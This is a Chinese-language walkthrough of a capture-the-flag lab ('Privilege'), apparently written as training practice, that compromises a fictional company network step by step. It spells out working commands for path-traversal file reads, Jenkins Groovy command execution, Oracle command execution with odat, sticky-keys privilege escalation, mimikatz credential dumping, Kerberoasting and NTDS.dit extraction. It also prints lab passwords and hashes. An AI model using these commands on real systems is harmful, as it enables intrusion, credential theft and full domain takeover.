春秋云镜-Privilege
春秋云镜-Privilege
靶标介绍:
在这个靶场中,您将扮演一名资深黑客,被雇佣来评估虚构公司 XR Shop 的网络安全。您需要通过渗透测试逐个击破公司暴露在公网的应用,并通过后渗透技巧深入 XR Shop 的内部网络,寻找潜在的弱点和漏洞,并通过滥用 Windows 特权获取管理员权限,最终并获取隐藏在其内部的核心机密。该靶场共有 4 个 Flag,分布于不同的靶机。
flag01
请获取 XR Shop 官网源码的备份文件,并尝试获得系统上任意文件读取的能力。并且,管理员在配置 Jenkins 时,仍然选择了使用初始管理员密码,请尝试读取该密码并获取 Jenkins 服务器权限。Jenkins 配置目录为 C:\ProgramData\Jenkins.jenkins。
先是fscan扫扫看看
发现在/tools/content-log.php存在任意文件读取
1 | <?php |
结合题目描述得到密码
1 | ./tools/content-log.php?logfile=../../../../../../../../../ProgramData/Jenkins/.jenkins/secrets/initialAdminPassword |
510235cf43f14e83b88a9f144199655b
http://39.101.176.68:8080/admin/510235cf43f14e83b88a9f144199655b来到后台
admin/510235cf43f14e83b88a9f144199655b登陆
groovy脚本命令执行,添加用户
1 | println "net user Q1ngchuan 123Aa@ /add".execute().text |
flag02
管理员为 Jenkins 配置了 Gitlab,请尝试获取 Gitlab API Token,并最终获取 Gitlab 中的敏感仓库。获取敏感信息后,尝试连接至 Oracle 数据库,并获取 ORACLE 服务器控制权限。
上fscan frpc
1 | 172.22.14.31:139 open |
172.22.14.7 XR-JENKINS 入口机
172.22.14.46 XR-0923 域内机器
172.22.14.11 XR-DC 域控机器
172.22.14.31 XR-ORACLE
172.22.14.16 GitLab
后面根剧题目描述要打oracle了
找到
GitLab API token | |
---|---|
1 | {AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh} |
1 | glpat-7kD_qLH2PiQv_ywB9hz2 |
使用 Access Token 去请求 GitLab API,返回所有的项目列表:
1 | proxychains -q curl --header "PRIVATE-TOKEN: glpat-7kD_qLH2PiQv_ywB9hz2" http://gitlab.xiaorang.lab/api/v4/projects | python -m json.tool |
之后将项目git下来看看
1 | proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/internal-secret.git 用户名密码 |
找到数据库用户名和密码
url: jdbc:oracle:thin:@172.22.14.31:1521/orcl
username: xradmin
password: fcMyE8t9E4XdsKf
利用obat创建用户
1 | proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user Q1ngchuan 123456Aa@ /add' |
远程连接上
flag03
攻击办公区内网,获取办公 PC 控制权限,并通过特权滥用提升至 SYSTEM 权限。
下面要拿下某机器了172.22.14.46
前面拿到了相关的用户名和密码
XR-0923 | zhangshuai | wSbEajHzZs
直接远程连接试试
上去之后发现没权限读取flag
显然要提权
查看权限
1 | net user zhangshuai |
zhangshuai是Remote Management Use组的,可以打winrm(远程管理)默认的WinRM HTTP 通过 TCP 端口 5985 进行通信,而 HTTPS(TLS)通过 TCP 端口 5986 进行通信
使用 WinRM 我们可以在远程主机设置了防火墙的情况下远程管理这台服务器,因为启动 WinRM 服务后,防火墙默认会自动放行 5985 端口。这样的管理服务当然不会被攻击者错过,在内网渗透中,我们可以使用 WinRM 服务进行横向移动,并且使用这种远程连接进行横向移动不容易被察觉到,也不会占用远程连接数。
1 | proxychains evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs |
1 | whoami /priv |
发现比RDP多了一个SeRestorePrivilege
SeRestorePrivilege
对当前系统任意文件具有写的权限。
利用思路:
参考映像劫持,不过在win10中不能用。
https://cloud.tencent.com/developer/article/1672598
一共9大权限,还有8个可以利用
具体可看:
粘滞键提权
1 | ren C://windows/system32/sethc.exe C://windows/system32/sethc.bak |
回到rdp锁定用户,在登录处按5下shift触发粘滞键弹出cmd拿到SYSTEM
flag04
尝试接管备份管理操作员帐户,并通过转储 NTDS 获得域管理员权限,最终控制整个域环境。
创建一个管理员用户登录
1 | net user Q1ngchuan 123456Aa@ /add |
传个猕猴桃上去,以管理员权限运行导出哈希
但却出现了这个问题
1 | ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list |
后面换了个猕猴桃才行,这里贴一下链接:
https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 2024/9/22 18:02:13
SID : S-1-5-90-0-3
msv :
[00000003] Primary
Username : XR-0923$
Domain : XIAORANG
NTLM : 46f09188dd9b67e672c0d3554ba3cd06
SHA1 : 9d0fb4ade8bbdc45a35a2426e799bf90a7b82277
:
wdigest :Username : XR-0923$
Domain : XIAORANG
Password : (null)
ros :Username : XR-0923$
Domain : xiaorang.lab
Password : a2 8f 6e a2 06 94 5a e6 68 10 6d 37 a5 d8 46 48 0e 72 dd f9 71 9b ed ef b0 72 ee 3a 14 1c 2b d8 76 d2 49 e2 0e e3 74 c6 82 25 71 01 b5 f2 b1 87 f3 f5 09 7e 5b 50 f3 16 dc 3e 4a ca f2 9d 57 3f ce 16 15 0a 57 4e 90 95 9a 65 f7 2d 76 3a 4b c5 c3 d6 08 41 8d db 91 5c ea 5f 09 a6 b9 0a 32 dd 5d 38 84 f3 b7 f4 1f 3b 27 1f 49 c7 29 b7 d7 a1 9a 58 a3 08 ae 70 8e 53 39 d4 4b 29 65 50 8c 32 67 8c e7 82 90 e6 44 9a dd fe ce a6 87 6b 0b 0e d0 70 90 90 55 68 ac 19 e7 06 d6 48 07 e0 85 ef 38 73 2a 79 1d 75 5a b9 69 6c 60 bd 6c 43 07 15 29 8f 0f fc 3c 63 90 41 d8 62 79 11 47 04 d9 29 48 f2 01 5b 3b 42 c6 cc 7b e0 28 a8 d7 cb fa ee 18 b2 7d 6b 81 71 a6 79 4c 1a 79 3e f4 bc b3 4e 6d fc 2b 7c 13 95 43 b4 37 da 1f 6d ba 17 4c e2
credman :
cloudap :
1 | proxychains4 impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':46f09188dd9b67e672c0d3554ba3cd06' -dc-ip 172.22.14.11 |
1 | proxychains4 impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':46f09188dd9b67e672c0d3554ba3cd06' -dc-ip 172.22.14.11 -request-user tianjing |
1 | proxychains4 evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2 |
卷影拷贝
有备份以及还原文件和目录的权限,尝试导出sam和system。
首先在本地创建一个dsh文件,这里命名为raj.dsh
,内容如下
1 | set context persistent nowriters |
再用unix2dos将dsh文件的编码间距转换为Windows兼容的编码和间距
1 | unix2dos raj.dsh |
在C:/
下随便创个目录,上传raj.dsh
1 | RoboCopy /b z:\windows\ntds . ntds.dit |
1 | impacket-secretsdump -ntds ntds.dit -system system local |
总结
也是第一次接触到Jenkins,了解到了新的方式,中途猕猴桃传上去没法用,查了老半天,害的我做了2遍。。。。我的时间,我的金钱,呜呜呜。也是接触到了卷硬拷贝,中间有些费时间,正好中途加载的时间去了解了一下。卷硬拷贝主要是是读取ntds.dit,导出其中的hash值,进而利用hash传递拿到域控管理员的权限。